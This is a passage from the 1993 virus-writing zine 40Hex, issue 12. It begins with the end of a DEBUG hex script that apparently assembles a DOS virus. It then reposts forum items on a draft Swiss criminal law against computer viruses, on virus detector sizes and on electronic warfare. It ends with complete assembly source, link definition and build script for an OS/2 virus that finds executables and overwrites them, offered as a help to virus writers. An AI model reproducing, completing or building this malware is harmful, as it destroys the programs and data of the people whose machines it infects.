e 0340 EF 3D 53 43 74 EA 2D 43 4C 74 E5 E8 8D 00 B4 3F
|
|
e 0350 51 8B D6 CD 21 E8 8C 00 52 50 05 13 03 13 D5 B9
|
|
e 0360 00 02 F7 F1 0B D2 74 01 40 89 54 02 89 44 04 58
|
|
e 0370 5A B9 10 00 F7 F1 2B 44 08 89 54 14 89 44 16 81
|
|
e 0380 EA 00 01 89 16 01 01 B4 40 B9 13 03 BA 00 01 CD
|
|
e 0390 21 E8 47 00 B4 40 59 8B D6 CD 21 26 8B 4D 0D 26
|
|
e 03A0 8B 55 0F 52 83 E1 E0 83 E2 1F 4A 0B CA 5A B8 01
|
|
e 03B0 57 CD 21 B4 3E CD 21 E9 FE FD B8 00 3D E8 35 00
|
|
e 03C0 93 53 0E 0E 1F 07 B8 20 12 CD 2F B8 16 12 26 8A
|
|
e 03D0 1D CD 2F 5B 26 C7 45 02 02 00 C3 26 89 6D 15 26
|
|
e 03E0 89 6D 17 C3 1E 26 C5 45 11 8C DA 26 89 45 15 26
|
|
e 03F0 89 55 17 1F C3 9C 0E E8 C1 FD C3 CD 20 02 00 04
|
|
e 0400 00 06 00 08 00 0A 00 0C 00 0E 00 10 00 12 00 14
|
|
e 0410 00 16 00
|
|
rcx
|
|
0313
|
|
w
|
|
q
|
|
------------------------------------------------------
|
|
40Hex Number 12 Volume 3 Issue 3 File 008
|
|
|
|
Article #1
|
|
----------
|
|
|
|
Subj: Draft Swiss AntiVirus regulation
|
|
|
|
To whom it may concern:
|
|
|
|
The Swiss Federal Agency for Informatics (Bundesamt fuer Informatik, Bern) is
|
|
preparing a legislative act against distribution of malicious code, such
|
|
as viruses, via VxBBS etc. You may know that there have been several attempts
|
|
to regulate the development and distribution of malicious software, in UK, USA
|
|
and other countries, but so far, Virus Exchange BBS seem to survive even in
|
|
countries with regulations and (some) knowledgeable crime investigators.
|
|
|
|
In order to optimize the input into the Swiss legal discussion, I suggested
|
|
that their draft be internationally distributed, for comments and suggestions
|
|
from technical and legal experts in this area. Mr. Claudio G. Frigerio from
|
|
Bern kindly translated the (Swiss) text into English (see appended text, both
|
|
in German and English); in case of any misunderstanding, the German text is the
|
|
legally relevant one! Any discussion on this forum is helpful; please send
|
|
your comments (Cc:) also to Mr. Claudio G. Frigerio (as he's not on this list).
|
|
|
|
"The Messenger" (Klaus Brunnstein: October 9, 1993)
|
|
|
|
###############################################################
|
|
Appendix 1:
|
|
Entwurf zu Art. 144 Abs. 2 des Schweizerischen Strafgesetzbuches
|
|
|
|
"Wer unbefugt elektronisch oder in vergleichbarer
|
|
Weise gespeicherte oder uebermittelte Daten loescht,
|
|
veraendert oder unbrauchbar macht, oder Mittel, die
|
|
zum unbefugten Loeschen, Aendern oder Unbrauchbarmachen
|
|
solcher Daten bestimmt sind, herstellt oder anpreist,
|
|
anbietet, zugaenglich macht oder sonstwie in Verkehr
|
|
bringt, wird, auf Antrag, mit der gleichen Strafe belegt."
|
|
|
|
P.S.: gleiche Strafe =JBusse oder Gefaengnis bis zu 3 Jahren;
|
|
bei grossem Schaden, bis zu 5 Jahren Gefaengnis sowie Verfolgung
|
|
von Amtes wegen (Offizialdelikt)
|
|
|
|
###############################################################
|
|
Draft of article 144 paragraph 2 of the Swiss Penal Code
|
|
(English translation)
|
|
|
|
"Anyone, who, without authorization
|
|
- erases, modifies, or destructs
|
|
electronically or similarly saved or data,
|
|
or anyone who,
|
|
- creates, promotes, offers, makes available, or circulates in
|
|
any way
|
|
means destined for unauthorized deletion, modification, or
|
|
destruction of such data,
|
|
will, if a complaint is filed, receive the same punishment."
|
|
|
|
P.S.: same punishment =Jfine or imprisonment for a term of up to
|
|
three years; in cases of a considerable dam-age, five years with
|
|
prosecution ex officio
|
|
###############################################################
|
|
Author: Claudio G. Frigerio, Attorney-At-Law
|
|
Swiss Federal Office of Information Technology and System,
|
|
e-mail: bfi@ezinfo.vmsmail.ethz.ch
|
|
###############################################################
|
|
|
|
Article 2:
|
|
---------
|
|
|
|
Subj: More about Swiss Anti-Virus Laws
|
|
|
|
Thanks to everybody who replied on the subject of Swiss Anti-Virus Legis-
|
|
lation.
|
|
|
|
As somebody noticed there was a word missing in the English translation. It
|
|
should have been: "... destructs electronically or similarly saved or TRANS-
|
|
MITTED data will..."
|
|
|
|
The text posted to the net, was a trial to include into the "data damaging"
|
|
even creation and dealing/circulating computer viruses. The idea behind this,
|
|
is that the virus itself already carries the malicious intent of his author.
|
|
Therefore it is dangerous in any circumstance. Actually a virus can not be
|
|
abused, as the idea of abuse includes the possibility, that a virus can be
|
|
used in a good way too. As I have been told by specialists, there is no such
|
|
"good use" of a virus as any unauthorized change of data has the potential of
|
|
interfering with other data and/or programs in environments, that the virus
|
|
author did/could not foresee. And even the unauthorized use of storage space
|
|
is a damage, as this space will not be available for authorized uses of the
|
|
computer system. Computer virus are an "absolute danger", and as any other
|
|
dangerous thing (like explosive, poison, radioactiv materials or genetic
|
|
materials in specialized labs) computer virus should not be created or
|
|
circulated without restrictions.
|
|
|
|
It has been remarked that in the text there was no word about the requisite
|
|
intent or requisite knowledge of the committer. This way any BBS sysop would
|
|
always risk criminal charges, if his BBS carries any virus infected software
|
|
but the sysop isn't aware of it.
|
|
|
|
I apologize for not having told that Swiss Penal Law only considers inten-
|
|
tional crimes, if there is no explicit indication that negligent acts are
|
|
punished too. Therefore according to Swiss Penal Law terminology and system,
|
|
the text posted to the net only considers who "knowingly and willingly"
|
|
commits the act. That means that the author of the virus has to know it was
|
|
a virus, what he created: this is always the case. And who circulates the
|
|
virus has to know it was a virus and he wanted to circulate it. The know-
|
|
ledge that SW was or carried a virus can be proved easily by the fact that
|
|
nobody knowingly stores viruses without labeling or marking them in any way,
|
|
in order not to be infected himself (yes, I know: if there really is somebody
|
|
so foolish, I have to find another way to prove his knowledge). For BBS a
|
|
"Virus Directory" containing viruses or virus source codes is evidence enough
|
|
for the "requisite knowledge and intent". The law does no want to punish
|
|
accidental distribution of viruses.
|
|
|
|
The phrase "means destined for unauthorized deletion" has been considered
|
|
unclear. "Means" certainly includes not only software, but source code (on
|
|
paper as on disks) too. It has been remarked that it's the classical tool-
|
|
maker problem: a knife can be used as woodcarver to make a great work, but
|
|
it might be used aven as a thug to commit murder.
|
|
I realized this problem, but would you consider a knife as generally
|
|
destined to commit murder? Or would you consider explosive as generally
|
|
destined to create damage? We have to be aware that most items can be used
|
|
in a legal or abused in an illegal way. Seldom an item can only be used in
|
|
an illegal way, but computer viruses are such items! I do not speak about
|
|
software using virus specific reproduction techniques (like "killer viruses"
|
|
for copyright enforcement or "anti-viruses" supposed to fight viruses) that
|
|
make data changes with the explicit (contract/license) or implicit (highly
|
|
probable agreement of the user) authorization of the user. This kind of SW
|
|
is actually not included in the definition of "means destined for unatho-
|
|
rized deletion, modification, or destruction of data".
|
|
Therefore you cannot say that Norton Utilities, WipeFile or any other
|
|
similar general purpose SW or utilities are "destined for unautorized
|
|
deletion, modification or destruction", although they certainly could be
|
|
used for this.
|
|
|
|
The text doesn't say anything about malice, malicious intents or the intent
|
|
to damage, as these elements are very difficult to prove in trial, if the
|
|
accused denies any such intention. Actually I considered these subjective
|
|
elements as not really necessary, as the virus already carries the malicious
|
|
intent of its author: the malice of the author is proved by his virus, and
|
|
the malice of somebody circulating the virus is proved, if his knowledge,
|
|
that he was circulating a virus, is proved.
|
|
|
|
According to general principles of penal law the site of crime is the main
|
|
link to charge somebody. If a virus has been created or circulated outside
|
|
the national borders of Switzerland, Swiss Penal law cannot be applied. But
|
|
if a virus created outside Switzerland is transferred electronically to
|
|
Switzerland, the downloader will be held responsible, no matter if he was
|
|
in Switzerland or abroad, as "importing" as a way to circulate the virus.
|
|
The "success" of the act will take place in Switzerland. Anyway Art. 7 of
|
|
Swiss Penal Law follows the principle of territoriality and the
|
|
"Ubiquitaetsprinzip" (sorry: didn't find the correct English word: an act
|
|
is considered being committed not only where the committer was, when he
|
|
started his crime, but also where the "success" has been realized. Anyway
|
|
I do consider clearifing this by inserting that "importing" virus is
|
|
considered as "circulating in any way".
|
|
|
|
As this crime is prosecuted as soon as police or prosecution authority knows
|
|
about it (so called "ex officio", there is no need for a specific complaint:
|
|
a detailed information about a fact is enough to start investigations, no
|
|
matter where the information came from (e.g. abroad).
|
|
|
|
There is no doubt, that professional ant-virus specialists and scientists
|
|
should have access to viruses and be allowed to even create viruses. As
|
|
long as this is covered by the aim of studying strategies to fight
|
|
computer viruses, this is OK. I actually planned a system of registrering
|
|
these people with a federal authority (e.g. the IS Security Dptm. at the
|
|
Swiss Federal Office of Information Technology and Systems or the Ministery
|
|
of Justice). The posted text would be then need to be completed as follows:
|
|
"Who, without being registered with the proper federal authority, creates...
|
|
Only trustworthy individuals, who are professionally or scientifically
|
|
active in combatting such means, may be registered on demand."
|
|
|
|
The Swiss legislator is actually not only considering "data damaging" but
|
|
"hacking", "time theft" and computer fraud too, but these ARE NOT subjects
|
|
of the discussion in this forum now. The same applies to software piracy,
|
|
already ruled by another law. I will gladly email/fax the German, French or
|
|
Italian text of the Penal Law draft to anybody interested. Please do not
|
|
ask me an English translation of these, as I am not a professional English
|
|
translator of legal text.
|
|
|
|
I am aware that the UK and Italy have/are going to have laws allowing to
|
|
prosecute the creation and circulation of computer viruses. If anybody
|
|
knows of other contries, may he please let me know in any way and as soon
|
|
as possible.
|
|
|
|
On Monday, 25 October 1993, there will a meeting with the Ministery of
|
|
Justice in order to convince them to propose this to the Parliament. This
|
|
will be very very difficult, as there generally is very little knowledge
|
|
on, or concern for the threat through computer viruses. Most people have
|
|
simply never suffered an attack of computer viruses.
|
|
|
|
Thanks again for following this item with your comments.
|
|
|
|
Claudio G. Frigerio
|
|
|
|
P.S.: Please do not suggest to me to send them a floppy with a ..... just
|
|
to make them more aware of the risks...
|
|
P.P.S.: You can phone/email/fax/write to me in Italian, German, French,
|
|
Spanish or English.
|
|
|
|
|
|
Article #3
|
|
----------
|
|
|
|
Subj: Detection complexity of some newish viruses. (PC)
|
|
|
|
A while back (January 93) a few people posted sizes of their algorithmic
|
|
virus detectors. Here are the line counts for a couple more detectors
|
|
included (or to be included) in IBM AntiVirus.
|
|
|
|
These counts are for lines of C; the code is not particularly dense.
|
|
The SatanBug (*) count includes some tables. (File I/O handling is
|
|
*not* included in these counts. The lines-of-code counter is a standard
|
|
counter used in many IBM development projects. I'm not completely sure
|
|
what rules this lines-of-code counter uses. Some lines are
|
|
counted as both code and comment lines.)
|
|
|
|
SatanBug ::= 421 physical lines, 173 comment lines, and 187 code lines
|
|
Tremor ::= 165 physical lines, 36 comment lines, and 107 code lines
|
|
|
|
(*) There is some disagreement about the name of this virus.
|
|
|
|
Bill Arnold, barnold@watson.ibm.com (IBM AntiVirus Development)
|
|
|
|
Article 4:
|
|
----------
|
|
|
|
Subj: Electronic Warfare
|
|
|
|
The October 18th issue of Aviation Week has an interesting item in its
|
|
Washington Outlook column on future developments in electronic warfare.
|
|
Paraphrase follows:
|
|
|
|
A Pentagon official, H. Steven Kimmel, deputy director of C3I testing
|
|
and evaluation in the Pentagon acquisition office, said the next
|
|
developments in "non-lethal electronic combat" should be on methods
|
|
of injecting deceptive information and computer viruses into enemy
|
|
command, control, communication and intelligence systems and into
|
|
enemy communication nodes and data bases. Kimmel was speaking to the
|
|
Association of Old Crows, a group of electronic warfare specialists.
|
|
He further said that the U.S. needs this "nonlethal capability" both
|
|
defensively and offensively. It was pointed out that American C3I
|
|
systems are vulnerable because of their many nodes and reliance on
|
|
computers and commercial off the shelf components.
|
|
|
|
Article 5:
|
|
----------
|
|
|
|
Subj: Swiss Anti Virus Law
|
|
|
|
On November 11, 1993 the Law Committee of the 2nd Chamber of the Parliament
|
|
(German: "Staenderat"; a kind of "Swiss Senate") decided to accept the anti-
|
|
virus propositions. The Staenderat will probably discuss in Parliament and
|
|
decide on the subject by December 1993. In the Law Committee there was
|
|
practically no opposition to the law draft; thus it is very likely that the
|
|
Staenderat will accept it too. After this the "Nationalrat" (the 1st Chamber of
|
|
Parliament, a kind of "Swiss House of Representatives" or "Swiss Congress")
|
|
will discuss the draft and decide about it by Spring 1994.
|
|
|
|
The Swiss law draft, posted to the net, has been changed considerably in the
|
|
last few weeks. The draft actually discussed in Parliament will be:
|
|
|
|
German text:
|
|
Schweizerisches Strafgesetzbuch, Artikel 144bis, Datenbeschaedigung
|
|
1. Wer unbefugt elektronisch oder in vergleichbarer Weise
|
|
gespeicherte oder uebermittelte Daten loescht, veraendert oder
|
|
unbraucbar macht, wird, auf Antrag, mit Gefaegnis oder mit Busse
|
|
bestraft.
|
|
Hat der Taeter einen grossen Schaden verursacht, so kann auf
|
|
Zuchthaus bis zu fuenf Jahren erkannt werden. Die Tat wird von
|
|
Amtes wegen verfolgt.
|
|
2. Wer Programme, von denen er weiss oder annehmen muss, dass sie
|
|
zu den in Ziffer 1 genanten Zwecken verwendet werden sollen,
|
|
herstellt, einfuehrt, in Verkehr bringt, anpreist, ueberlaesst oder
|
|
sonstwie zugaenglich macht oder zu ihrer Herstellung Anleitung gibt,
|
|
wird mit Gefaegnis oder mit Busse bestraft.
|
|
Handelt der Taeter gewerbsmaessig, so kann auf Zuchthaus bis zu
|
|
fuenf Jahren erkannt werden.
|
|
|
|
English text:
|
|
Swiss Criminal Code, Article 144bis, Damaging of data
|
|
1. Anyone, who without authorization deletes, modifies or renders
|
|
useless electronically or similarly saved or transmitted data, will,
|
|
if a complaint is filed, be punished with the imprisonment for a
|
|
term of up to 3 years or a fine of up to 40000 Swiss francs.
|
|
If the person charged has caused a considerable damage, the
|
|
imprisonment will be for a term of up to 5 years. The crime will
|
|
be prosecuted ex officio.
|
|
2. Anyone, who creates, imports, distributes, promotes, offers,
|
|
makes available, circulates in any way, or gives instructions to
|
|
create programs, that he/she knows or has to presume to be used
|
|
for purposes according to item 1 listed above, will be punished
|
|
with the imprisonment for a term of up to 3 years or a fine of up
|
|
to 40000 Swiss francs.
|
|
If the person charged acted for gain, the imprisonment will be for
|
|
a term of up to 5 years.
|
|
|
|
This English translation may not be perfect. The text will be available by
|
|
January 1994 in all official Swiss languages: German, French and Italian.
|
|
|
|
The protected item of this article are just data (immaterial goods). Any damage
|
|
to computer systems, like the burning of floppies, plug-pulling, sledgehammers
|
|
etc. are damages to "physical/material things" covered by article 144
|
|
(Sachbeschaedigung, damage to property).
|
|
|
|
According to Swiss penal legislation the requisite knowledge and intent
|
|
("knowingly and willingly") have not to be mentioned specifically.
|
|
|
|
As you may have noticed, the "registration" of IS security pros has been
|
|
dropped. The expression "that he/she knows or has to presume to be used for
|
|
purposes according to item 1 listed above" will exclude any penal responsibi-
|
|
lity if the committer e.g. gave a virus to a professional anti-virus software
|
|
developer or is creating viruses for research, as in these and similar special
|
|
situations a misuse of the virus is highly unlikely. The committer will not be
|
|
prosecuted, if he had reasonable motives, to practically exclude a misuse. On a
|
|
retrospective analysis the judge will check if the person who gave a viruses to
|
|
somebody else (who misused it to cause damage) could in any way be blamed for
|
|
not having foreseen the occurred misuse. If you give a virus to a notorious
|
|
anti-virus professional, known for spreading viruses or source codes, or simply
|
|
to somebody who does not give a special guarantee for not misusing the virus,
|
|
you will be prosecuted. Who just trusted in the promise of a virus-recipient,
|
|
that the latter will not misuse it, will be in trouble, if he did not have a
|
|
very special additional reason to trust him. The law considers viruses as so
|
|
dangerous for the general public, that any act making them available to
|
|
somebody else, represents a general risk to the general public. Who invokes an
|
|
exception,that an act of making a virus available to somebody else, did not
|
|
represent such a risk has to prove it.
|
|
|
|
This may cause some concern, but law can not foresee any situation. Judges will
|
|
have to carefully check if the reasons to give a virus to somebody else, were
|
|
good enough to practically exclude any misuse.
|
|
|
|
Making a newly discovered virus available to McAfee or the Virus Test Center
|
|
will not be a crime, as long as the reputation of these recipients is above any
|
|
suspicion.
|
|
|
|
As the draft is now in the Parliament, there is practically no way to change
|
|
any thing in this text anymore (by the administration). Now it is up to the
|
|
politicians to decide about the subject and to make any additional change.
|
|
40Hex Number 12 Volume 3 Issue 3 File 009
|
|
|
|
This virus was given to us by Arthur Ellis, and is the first piece
|
|
of OS/2 virus source that I have ever seen. Although it is only an
|
|
overwriting virus, it should definately be helpful for anyone who wants
|
|
to write viruses in OS/2.
|
|
|
|
->GHeap
|
|
|
|
-----------------------------<Os2Vir1.Asm>-------------------------------------
|
|
INCLUDE OS2.INC ; if you don't have OS2.INC, see end of this file
|
|
COMMENT *
|
|
This simple overwriting virus demonstrates how the OS/2 API functions
|
|
are used to search for, open, and infect programs. No extended registers
|
|
are used, and the program may be assembled with MASM 5.1 or 6.0, TASM
|
|
for OS/2 (from the Borland C++ package), or with IBM Macro Assembler/2.
|
|
Link with :link386 /exepack virus,,,c:\os2\doscalls,virus.def
|
|
VIRUS.DEF: NAME VIRUS WINDOWCOMPAT
|
|
PROTMODE
|
|
STACKSIZE 8192
|
|
There is minimal error checking (since when do viruses check errors?). A
|
|
useful project for a student would be to convert this program to .386p mode.
|
|
- Arthur Ellis, 1993
|
|
*
|
|
PrintIt MACRO string, StrLen
|
|
push 1 ; stdout handle
|
|
push DS
|
|
mov DX, OFFSET string ; string to write
|
|
push DX
|
|
xor CX,CX ; zero CX
|
|
mov CL, [StrLen] ; string length
|
|
push CX
|
|
push DS
|
|
push OFFSET Written ; bytes written variable
|
|
call DosWrite ; like int 21/40
|
|
ENDM
|
|
OpenIt MACRO seg, handle, mode ; SEGMENT, open mode, handle
|
|
push seg ; SEGMENT of file name
|
|
push BX ; OFFSET of file name
|
|
push DS ; SEGMENT of handle
|
|
push OFFSET handle ; OFFSET of handle
|
|
push DS ; SEGMENT of open action
|
|
push OFFSET OpenAction ; OFFSET of open action
|
|
push 0 ; file size DWORD
|
|
push 0 ; file size DWORD
|
|
push 3 ; attributes: hid,r-o,norm
|
|
push 1 ; FILE_OPEN
|
|
push mode ; OPEN_SHARE_DENYNONE
|
|
push 0 ; DWORD 0 (reserved)
|
|
push 0 ; DWORD 0 (reserved)
|
|
Call DosOpen ; like int 21/3D
|
|
ENDM
|
|
.286p
|
|
|
|
STACK SEGMENT PARA STACK 'STACK'
|
|
DW 1000h
|
|
STACK ENDS
|
|
|
|
DGROUP GROUP _DATA, STACK
|
|
|
|
ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:DGROUP
|
|
|
|
_DATA SEGMENT WORD PUBLIC 'DATA'
|
|
|
|
FileSpec DB '*.EXE', 0
|
|
OpenErr DB ' <Error opening file>',13,10,27,'[m'
|
|
Hello DB 27,'[2J',27,'[1;36mMy name is '
|
|
Infected DB ' --> infected'
|
|
CRLF DB 13,10,27,'[m'
|
|
Written DW ? ; bytes written
|
|
MyHandle DW ? ; virus handle
|
|
VicHandle DW ? ; victim handle
|
|
OpenAction DW ? ; open result
|
|
Buf FileFindBuf <> ; file find structure
|
|
MySize DW ? ; virus length
|
|
EnvSeg DW ? ; selector for environment
|
|
CmdOfs DW ? ; OFFSET of command line
|
|
Image DB 2000 dup (?) ; virus image
|
|
ImageLen DW ? ; length of virus
|
|
DirHandle DW -1 ; directory handle
|
|
SrchCount DW 1 ; search count
|
|
_DATA ENDS
|
|
|
|
_TEXT SEGMENT WORD PUBLIC 'CODE'
|
|
extrn DOSCLOSE:far, DOSEXIT:far, DOSWRITE:far, DOSGETENV:far
|
|
extrn DOSFINDCLOSE:far, DOSFINDFIRST:far, DOSFINDNEXT:far
|
|
extrn DOSOPEN:far, DOSREAD:far
|
|
|
|
main PROC far
|
|
start: call GetName ; get the virus filename
|
|
OpenIt ES, MyHandle, 40h ; open virus for read
|
|
;--------------------------------------------------------------------
|
|
;---( Read virus to image buffer )-----------------------------------
|
|
;--------------------------------------------------------------------
|
|
push MyHandle ; handle for this program
|
|
push DS ; buffer for file image
|
|
push OFFSET Image
|
|
push 2000 ; Could use DosQFileInfo to
|
|
; get filesize but this works
|
|
push DS
|
|
push OFFSET ImageLen ; virus length goes here
|
|
call DosRead ; like int 21/3F
|
|
;--------------------------------------------------------------------
|
|
;---( Find files to infect )-----------------------------------------
|
|
;--------------------------------------------------------------------
|
|
call FindIt ; find first file
|
|
|
|
found: or AX, AX ; error?
|
|
jz NoErr ; no error
|
|
|
|
quit: push 1 ; terminate all threads
|
|
push 0 ; return code
|
|
call DosExit ; like int 21/4C
|
|
|
|
NoErr: cmp word ptr SrchCount, 0 ; no files found?
|
|
jz quit ; none found
|
|
|
|
PrintIt Buf.findbuf_achname,Buf.findbuf_cchName
|
|
; display filename found
|
|
;--------------------------------------------------------------------
|
|
;---( Write virus )--------------------------------------------------
|
|
;--------------------------------------------------------------------
|
|
lea BX,Buf.findbuf_achName ; filename OFFSET in BX
|
|
|
|
OpenIt DS, VicHandle, 42 ; ACCESS_READWRITE|SHAREDENYNONE
|
|
or AX,AX ; error?
|
|
jz proceed
|
|
PrintIt OpenErr, 25 ; error on open
|
|
jmp CloseIt
|
|
|
|
proceed: PrintIt Infected,15 ; add to hit list
|
|
mov BX,[VicHandle]
|
|
push [VicHandle] ; write to found file
|
|
push DS
|
|
push OFFSET Image ; string to write
|
|
push [ImageLen] ; image length
|
|
push DS
|
|
push OFFSET Written ; bytes written variable
|
|
call DosWrite ; write the virus
|
|
|
|
CloseIt: push [VicHandle] ; prepare to close
|
|
call DosClose ; close file
|
|
;--------------------------------------------------------------------
|
|
;---( Find next file )-----------------------------------------------
|
|
;--------------------------------------------------------------------
|
|
push DirHandle ; Directory Handle
|
|
push DS ; SEGMENT of buffer
|
|
push OFFSET Buf ; OFFSET of buffer
|
|
push SIZE Buf ; length of buffer
|
|
push DS ; SEGMENT of count
|
|
push OFFSET SrchCount ; OFFSET of count
|
|
call DosFindNext ; Find next file
|
|
; like int 21/4F
|
|
jmp found ; infect if found else exit
|
|
|
|
main ENDP
|
|
;--------------------------------------------------------------------
|
|
;---( Get virus file name from environment )-------------------------
|
|
;--------------------------------------------------------------------
|
|
GetName PROC near
|
|
push ds
|
|
push OFFSET EnvSeg
|
|
push ds
|
|
push OFFSET CmdOfs
|
|
call DosGetEnv ; get seg, ofs of command line
|
|
|
|
mov ES,EnvSeg ; ES:BX holds command line
|
|
mov BX,CmdOfs
|
|
|
|
xor DI,DI
|
|
xor AL,AL
|
|
mov CX,-1
|
|
cld
|
|
scan: repne scasb ; scan for double null
|
|
scasb
|
|
jne scan ; loop if single null
|
|
mov BX,DI ; program name address
|
|
mov CX,-1 ; find length
|
|
repne scasb ; scan for null byte
|
|
not CX ; convert CX to length
|
|
dec CX
|
|
mov [MySize],CX ; return length
|
|
|
|
PrintIt Hello, 22
|
|
|
|
push 1 ; stdout handle
|
|
push ES ; segment for command line
|
|
push BX ; OFFSET of program name
|
|
push [MySize] ; length of program name
|
|
push DS
|
|
push OFFSET Written ; bytes written variable
|
|
call DosWrite ; like int 21/40
|
|
|
|
PrintIt CRLF,5
|
|
ret
|
|
GetName ENDP
|
|
;--------------------------------------------------------------------
|
|
;---( Find first victim )--------------------------------------------
|
|
;--------------------------------------------------------------------
|
|
FindIt PROC near
|
|
push DS
|
|
push OFFSET FileSpec
|
|
push SS ; SEGMENT of directory handle
|
|
lea AX, DirHandle ; OFFSET of directory handle
|
|
push AX
|
|
push 07h ; attribute
|
|
push DS ; SEGMENT of buffer
|
|
push OFFSET Buf ; OFFSET of buffer
|
|
push SIZE Buf ; length of buffer
|
|
push DS ; SEGMENT of search count
|
|
lea AX, SrchCount ; OFFSET of search count
|
|
push AX
|
|
push 0 ; Reserved
|
|
push 0
|
|
call DosFindFirst ; Find first file
|
|
ret ; like int 21/4E
|
|
FindIt ENDP
|
|
;--------------------------------------------------------------------
|
|
_TEXT ENDS
|
|
END start
|
|
;--------------------------------------------------------------------
|
|
;--( FTIME structure from OS2.INC )----------------------------------
|
|
;--------------------------------------------------------------------
|
|
;FTIME STRUC
|
|
; ftime_fs DW ?
|
|
;FTIME ENDS
|
|
;ftime_twosecs EQU 01fh
|
|
;ftime_minutes EQU 07e0h
|
|
;ftime_hours EQU 0f800h
|
|
;--------------------------------------------------------------------
|
|
;--( FDATE structure from OS2.INC )----------------------------------
|
|
;--------------------------------------------------------------------
|
|
;FDATE STRUC
|
|
; fdate_fs DW ?
|
|
;FDATE ENDS
|
|
;fdate_day EQU 01fh
|
|
;fdate_month EQU 01e0h
|
|
;fdate_year EQU 0fe00h
|
|
;--------------------------------------------------------------------
|
|
;--( FileFindBuf structure from OS2.INC )----------------------------
|
|
;--------------------------------------------------------------------
|
|
;FILEFINDBUF STRUC
|
|
;findbuf_fdateCreation DB SIZE FDATE DUP (?)
|
|
;findbuf_ftimeCreation DB SIZE FTIME DUP (?)
|
|
;findbuf_fdateLastAccess DB SIZE FDATE DUP (?)
|
|
;findbuf_ftimeLastAccess DB SIZE FTIME DUP (?)
|
|
;findbuf_fdateLastWrite DB SIZE FDATE DUP (?)
|
|
;findbuf_ftimeLastWrite DB SIZE FTIME DUP (?)
|
|
;findbuf_cbFile DD ?
|
|
;findbuf_cbFileAlloc DD ?
|
|
;findbuf_attrFile DW ?
|
|
;findbuf_cchName DB ?
|
|
;findbuf_achName DB 256 DUP (?)
|
|
;FILEFINDBUF ENDS
|
|
;---------------------------------------------------------------------
|
|
|
|
-----------------------------<Virus.Def>----------------------------------------
|
|
NAME VIRUS WINDOWCOMPAT
|
|
PROTMODE
|
|
STACKSIZE 8192
|
|
|
|
-----------------------------<DoIt.Cmd>-----------------------------------------
|
|
masm /Zi %1;
|
|
link386 /exepack %1,,,c:\os2\doscalls,virus.def
|
|
|